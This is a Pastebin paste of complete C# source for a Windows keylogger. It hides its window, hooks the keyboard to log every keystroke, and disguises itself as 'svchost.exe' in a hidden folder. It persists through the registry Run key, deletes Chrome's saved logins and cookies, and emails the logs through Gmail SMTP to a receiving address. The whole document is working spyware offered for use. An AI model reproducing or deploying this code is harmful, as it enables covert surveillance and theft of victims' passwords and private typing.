Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2015
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 23.87 KB | None | 0 0
  1. using System;
  2. using System.Runtime.InteropServices;
  3. using System.Windows.Forms;
  4. using System.Diagnostics;
  5. using Microsoft.Win32;
  6. using System.Threading;
  7. using System.Net;
  8. using System.Net.Mail;
  9. using System.Threading.Tasks;
  10. using System.IO;
  11. using System.Text;
  12.  
  13. namespace Keylogger
  14. {
  15.     class Program
  16.     {
  17.         #region Keycode
  18.         private const int WH_KEYBOARD_LL = 13;
  19.         private const int WM_KEYDOWN = 0x0100;
  20.         private const byte VK_RETURN = 0X0D;
  21.         private const byte VK_SPACE = 0X20;
  22.         private const byte VK_SHIFT = 0x10;
  23.         private const byte VK_CAPITAL = 0x14;
  24.         #endregion
  25.  
  26.         private static LowLevelKeyboardProc _proc = HookCallback;
  27.         private static IntPtr _hookID = IntPtr.Zero;
  28.         private static string filename =
  29.             Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\Logs\\" +
  30.             DateTime.Now.DayOfYear.ToString().PadLeft(3, '0') +
  31.             DateTime.Now.Hour.ToString().PadLeft(2, '0') +
  32.             DateTime.Now.Minute.ToString().PadLeft(2, '0') + ".log";
  33.         private static string me = System.Reflection.Assembly.GetEntryAssembly().Location;
  34.         private static string documentsfolder = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  35.  
  36.         static void Main(string[] args)
  37.         {
  38.             ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
  39.             StartUpCheck();
  40.             new Task(MailLoopTry).Start();
  41.             _hookID = SetHook(_proc);
  42.             Application.Run();
  43.             UnhookWindowsHookEx(_hookID);
  44.         }
  45.         private static void MailLoopTry()
  46.         {
  47.             bool x = false;
  48.             while (!x)
  49.             {
  50.                 if (Mail())
  51.                 {
  52.                     x = true;
  53.                     foreach (string file in Directory.GetFiles(documentsfolder + "\\Logs\\"))
  54.                     {
  55.                         FileInfo fi = new FileInfo(file);
  56.                         if (fi.Extension == ".log")
  57.                         {
  58.                             try{ File.Delete(file); } catch (Exception) { }
  59.                         }
  60.                     }
  61.                 }
  62.                 Thread.Sleep(15000);
  63.             }
  64.         }
  65.         private static bool Mail()
  66.         {
  67.             SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
  68.             client.EnableSsl = true;
  69.             client.DeliveryMethod = SmtpDeliveryMethod.Network;
  70.             client.Credentials = new NetworkCredential("Sender@gmail.com", "Password");
  71.             client.Timeout = 20000;
  72.             //Info: Sender's Gmail's "Less Secure Apps" Settings must be turned on for this to work
  73.  
  74.             MailMessage msg = new MailMessage(new MailAddress("Sender@gmail.com"), new MailAddress("Reciver@gmail.com"));
  75.             msg.Subject = Environment.MachineName + " : " + Environment.UserName;
  76.             msg.Body = "";
  77.             foreach (string file in Directory.GetFiles(documentsfolder + "\\Logs\\"))
  78.             {
  79.                 FileInfo fi = new FileInfo(file);
  80.                 if (fi.Extension == ".log" & fi.FullName != filename)
  81.                 {
  82.                     msg.Attachments.Add(new Attachment(fi.FullName));
  83.                 }
  84.             }
  85.  
  86.             try
  87.             {
  88.                 client.Send(msg);
  89.                 msg.Dispose();
  90.                 return true;
  91.             }
  92.             catch (Exception) { msg.Dispose(); return false; }
  93.         }
  94.         static void StartUpCheck()
  95.         {
  96.             if (!Directory.Exists(documentsfolder + "\\Logs\\"))
  97.             { Directory.CreateDirectory(documentsfolder + "\\Logs\\"); }
  98.             DirectoryInfo di = new DirectoryInfo(documentsfolder + "\\Logs\\");
  99.             di.Attributes |= FileAttributes.Hidden;
  100.             di.Attributes |= FileAttributes.System;
  101.             di.Attributes |= FileAttributes.NoScrubData;
  102.             if (new FileInfo(Application.ExecutablePath).Directory.FullName.ToString().ToLower() != documentsfolder.ToLower() + "\\Logs".ToLower())
  103.             {
  104.                 try
  105.                 {
  106.                     File.Copy(me, documentsfolder + "\\Logs\\svchost.exe", true);
  107.                     Process.Start(documentsfolder + "\\Logs\\svchost.exe");
  108.                 }
  109.                 catch (Exception) { }
  110.                 Environment.Exit(0);
  111.             }
  112.             SetStartup();
  113.             try
  114.             {
  115.                 File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data");
  116.                 File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\AppData\Local\Google\Chrome\User Data\Default\Cookies");
  117.             } catch (Exception) { }
  118.         }
  119.         private static void SetStartup()
  120.         {
  121.             RegistryKey rk = Registry.CurrentUser.OpenSubKey
  122.             ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  123.             rk.SetValue("svchost", Application.ExecutablePath.ToString());
  124.         }
  125.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  126.         {
  127.             using (Process curProcess = Process.GetCurrentProcess())
  128.             using (ProcessModule curModule = curProcess.MainModule)
  129.             {
  130.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  131.                     GetModuleHandle(curModule.ModuleName), 0);
  132.             }
  133.         }
  134.         private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  135.         private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  136.         {
  137.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  138.             {
  139.                 bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false);
  140.                 bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
  141.                 int vkCode = Marshal.ReadInt32(lParam);
  142.                 StreamWriter sr = File.AppendText(filename);
  143.  
  144.                 if (vkCode == (int)Keys.RShiftKey | vkCode == (int)Keys.LShiftKey | vkCode == (int)Keys.RControlKey | vkCode == (int)Keys.LControlKey |
  145.                     vkCode == (int)Keys.Right | vkCode == (int)Keys.Left | vkCode == (int)Keys.Up | vkCode == (int)Keys.Down)
  146.                 { /* I am avoiding these keys */ }
  147.                 //                            Cause too much repetition of these can be a headache Plus they are pointless to log
  148.  
  149.                 else if (vkCode == (int)Keys.Return)
  150.                 {
  151.                     sr.Write("              ;{Enter Key} ");
  152.                     sr.WriteLine();
  153.                 }
  154.  
  155.                 else if ((isDownCapslock && isDownShift) || (!(isDownCapslock) && !(isDownShift)))
  156.                 {
  157.  
  158.                     if (isDownCapslock == true)
  159.                     {
  160.                         if (vkCode >= 0x41 && vkCode <= 0x5A)
  161.                         {
  162.                             try
  163.                             {
  164.                                 sr.Write(Convert.ToChar(vkCode + 32));
  165.                             }
  166.                             catch (Exception) { }
  167.                         }
  168.                         else
  169.                         {
  170.                             try
  171.                             {
  172.                                 #region LongSwitch
  173.                                 switch (vkCode)
  174.                                 {
  175.                                     case ((int)'À'):
  176.                                         sr.Write("~");
  177.                                         break;
  178.                                     case ((int)'½'):
  179.                                         sr.Write("_");
  180.                                         break;
  181.                                     case ((int)'»'):
  182.                                         sr.Write("+");
  183.                                         break;
  184.                                     case ((int)'Û'):
  185.                                         sr.Write("{");
  186.                                         break;
  187.                                     case ((int)'Ý'):
  188.                                         sr.Write("}");
  189.                                         break;
  190.                                     case ((int)'Ü'):
  191.                                         sr.Write("|");
  192.                                         break;
  193.                                     case ((int)'º'):
  194.                                         sr.Write(":");
  195.                                         break;
  196.                                     case ((int)'Þ'):
  197.                                         sr.Write("\"");
  198.                                         break;
  199.                                     case ((int)'¼'):
  200.                                         sr.Write("<");
  201.                                         break;
  202.                                     case ((int)'¾'):
  203.                                         sr.Write(">");
  204.                                         break;
  205.                                     case ((int)'¿'):
  206.                                         sr.Write("?");
  207.                                         break;
  208.                                     case ((int)'1'):
  209.                                         sr.Write("!");
  210.                                         break;
  211.                                     case ((int)'2'):
  212.                                         sr.Write("@");
  213.                                         break;
  214.                                     case ((int)'3'):
  215.                                         sr.Write("#");
  216.                                         break;
  217.                                     case ((int)'4'):
  218.                                         sr.Write("$");
  219.                                         break;
  220.                                     case ((int)'5'):
  221.                                         sr.Write("%");
  222.                                         break;
  223.                                     case ((int)'6'):
  224.                                         sr.Write("^");
  225.                                         break;
  226.                                     case ((int)'7'):
  227.                                         sr.Write("&");
  228.                                         break;
  229.                                     case ((int)'8'):
  230.                                         sr.Write("*");
  231.                                         break;
  232.                                     case ((int)'9'):
  233.                                         sr.Write("(");
  234.                                         break;
  235.                                     case ((int)'0'):
  236.                                         sr.Write(")");
  237.                                         break;
  238.                                     default:
  239.                                         sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  240.                                         break;
  241.                                 }
  242.                                 #endregion
  243.                             }
  244.                             catch (Exception) { }
  245.                         }
  246.                     }
  247.                     else if (vkCode >= 0x41 && vkCode <= 0x5A)
  248.                     {
  249.                         try
  250.                         {
  251.                             sr.Write(Convert.ToChar(vkCode + 32));
  252.                         }
  253.                         catch (Exception) { }
  254.                     }
  255.                     else if (vkCode == 0X20)
  256.                     {
  257.                         sr.Write(" ");
  258.                     }
  259.                     else
  260.                     {
  261.                         try
  262.                         {
  263.                             #region LongSwitch
  264.                             switch (vkCode)
  265.                             {
  266.                                 case ((int)'À'):
  267.                                     sr.Write("`");
  268.                                     break;
  269.                                 case ((int)'½'):
  270.                                     sr.Write("-");
  271.                                     break;
  272.                                 case ((int)'»'):
  273.                                     sr.Write("=");
  274.                                     break;
  275.                                 case ((int)'Û'):
  276.                                     sr.Write("[");
  277.                                     break;
  278.                                 case ((int)'Ý'):
  279.                                     sr.Write("]");
  280.                                     break;
  281.                                 case ((int)'Ü'):
  282.                                     sr.Write(@"\");
  283.                                     break;
  284.                                 case ((int)'º'):
  285.                                     sr.Write(";");
  286.                                     break;
  287.                                 case ((int)'Þ'):
  288.                                     sr.Write("'");
  289.                                     break;
  290.                                 case ((int)'¼'):
  291.                                     sr.Write(",");
  292.                                     break;
  293.                                 case ((int)'¾'):
  294.                                     sr.Write(".");
  295.                                     break;
  296.                                 case ((int)'¿'):
  297.                                     sr.Write("/");
  298.                                     break;
  299.                                 case ((int)'1'):
  300.                                     sr.Write("1");
  301.                                     break;
  302.                                 case ((int)'2'):
  303.                                     sr.Write("2");
  304.                                     break;
  305.                                 case ((int)'3'):
  306.                                     sr.Write("3");
  307.                                     break;
  308.                                 case ((int)'4'):
  309.                                     sr.Write("4");
  310.                                     break;
  311.                                 case ((int)'5'):
  312.                                     sr.Write("5");
  313.                                     break;
  314.                                 case ((int)'6'):
  315.                                     sr.Write("6");
  316.                                     break;
  317.                                 case ((int)'7'):
  318.                                     sr.Write("7");
  319.                                     break;
  320.                                 case ((int)'8'):
  321.                                     sr.Write("8");
  322.                                     break;
  323.                                 case ((int)'9'):
  324.                                     sr.Write("9");
  325.                                     break;
  326.                                 case ((int)'0'):
  327.                                     sr.Write("0");
  328.                                     break;
  329.                                 default:
  330.                                     sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  331.                                     break;
  332.                             }
  333.                             #endregion
  334.                         }
  335.                         catch (Exception) { }
  336.                     }
  337.                 }
  338.                 else
  339.                 {
  340.                     if (vkCode >= 0x41 && vkCode <= 0x5A)
  341.                     {
  342.                         try
  343.                         {
  344.                             sr.Write(Convert.ToChar(vkCode));
  345.                         }
  346.                         catch (Exception) { }
  347.                     }
  348.                     else if (isDownShift)
  349.                     {
  350.                         try
  351.                         {
  352.                             #region LongSwitch
  353.                             switch (vkCode)
  354.                             {
  355.                                 case ((int)'À'):
  356.                                     sr.Write("~");
  357.                                     break;
  358.                                 case ((int)'½'):
  359.                                     sr.Write("_");
  360.                                     break;
  361.                                 case ((int)'»'):
  362.                                     sr.Write("+");
  363.                                     break;
  364.                                 case ((int)'Û'):
  365.                                     sr.Write("{");
  366.                                     break;
  367.                                 case ((int)'Ý'):
  368.                                     sr.Write("}");
  369.                                     break;
  370.                                 case ((int)'Ü'):
  371.                                     sr.Write("|");
  372.                                     break;
  373.                                 case ((int)'º'):
  374.                                     sr.Write(":");
  375.                                     break;
  376.                                 case ((int)'Þ'):
  377.                                     sr.Write("\"");
  378.                                     break;
  379.                                 case ((int)'¼'):
  380.                                     sr.Write("<");
  381.                                     break;
  382.                                 case ((int)'¾'):
  383.                                     sr.Write(">");
  384.                                     break;
  385.                                 case ((int)'¿'):
  386.                                     sr.Write("?");
  387.                                     break;
  388.                                 case ((int)'1'):
  389.                                     sr.Write("!");
  390.                                     break;
  391.                                 case ((int)'2'):
  392.                                     sr.Write("@");
  393.                                     break;
  394.                                 case ((int)'3'):
  395.                                     sr.Write("#");
  396.                                     break;
  397.                                 case ((int)'4'):
  398.                                     sr.Write("$");
  399.                                     break;
  400.                                 case ((int)'5'):
  401.                                     sr.Write("%");
  402.                                     break;
  403.                                 case ((int)'6'):
  404.                                     sr.Write("^");
  405.                                     break;
  406.                                 case ((int)'7'):
  407.                                     sr.Write("&");
  408.                                     break;
  409.                                 case ((int)'8'):
  410.                                     sr.Write("*");
  411.                                     break;
  412.                                 case ((int)'9'):
  413.                                     sr.Write("(");
  414.                                     break;
  415.                                 case ((int)'0'):
  416.                                     sr.Write(")");
  417.                                     break;
  418.                                 default:
  419.                                     sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  420.                                     break;
  421.                             }
  422.                             #endregion
  423.                         }
  424.                         catch (Exception) { }
  425.                     }
  426.                     else
  427.                     {
  428.                         try
  429.                         {
  430.                             #region LongSwitch
  431.                             switch (vkCode)
  432.                             {
  433.                                 case ((int)'À'):
  434.                                     sr.Write("`");
  435.                                     break;
  436.                                 case ((int)'½'):
  437.                                     sr.Write("-");
  438.                                     break;
  439.                                 case ((int)'»'):
  440.                                     sr.Write("=");
  441.                                     break;
  442.                                 case ((int)'Û'):
  443.                                     sr.Write("[");
  444.                                     break;
  445.                                 case ((int)'Ý'):
  446.                                     sr.Write("]");
  447.                                     break;
  448.                                 case ((int)'Ü'):
  449.                                     sr.Write(@"\");
  450.                                     break;
  451.                                 case ((int)'º'):
  452.                                     sr.Write(";");
  453.                                     break;
  454.                                 case ((int)'Þ'):
  455.                                     sr.Write("'");
  456.                                     break;
  457.                                 case ((int)'¼'):
  458.                                     sr.Write(",");
  459.                                     break;
  460.                                 case ((int)'¾'):
  461.                                     sr.Write(".");
  462.                                     break;
  463.                                 case ((int)'¿'):
  464.                                     sr.Write("/");
  465.                                     break;
  466.                                 case ((int)'1'):
  467.                                     sr.Write("1");
  468.                                     break;
  469.                                 case ((int)'2'):
  470.                                     sr.Write("2");
  471.                                     break;
  472.                                 case ((int)'3'):
  473.                                     sr.Write("3");
  474.                                     break;
  475.                                 case ((int)'4'):
  476.                                     sr.Write("4");
  477.                                     break;
  478.                                 case ((int)'5'):
  479.                                     sr.Write("5");
  480.                                     break;
  481.                                 case ((int)'6'):
  482.                                     sr.Write("6");
  483.                                     break;
  484.                                 case ((int)'7'):
  485.                                     sr.Write("7");
  486.                                     break;
  487.                                 case ((int)'8'):
  488.                                     sr.Write("8");
  489.                                     break;
  490.                                 case ((int)'9'):
  491.                                     sr.Write("9");
  492.                                     break;
  493.                                 case ((int)'0'):
  494.                                     sr.Write("0");
  495.                                     break;
  496.                                 default:
  497.                                     sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  498.                                     break;
  499.                             }
  500.                             #endregion} catch (Exception) { }
  501.                         }
  502.                         catch (Exception) { }
  503.                     }
  504.                 }
  505.                 sr.Close();
  506.             }
  507.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  508.         }
  509.  
  510.         #region DllImports
  511.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  512.         private static extern IntPtr SetWindowsHookEx(int idHook,
  513.             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  514.  
  515.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  516.         [return: MarshalAs(UnmanagedType.Bool)]
  517.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  518.  
  519.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  520.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  521.             IntPtr wParam, IntPtr lParam);
  522.  
  523.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  524.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  525.  
  526.         [DllImport("user32.dll")]
  527.         public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
  528.  
  529.         [DllImport("user32.dll")]
  530.         static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  531.  
  532.         [DllImport("user32.dll")]
  533.         static extern short GetKeyState(int vKey);
  534.         #endregion
  535.     }
  536. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement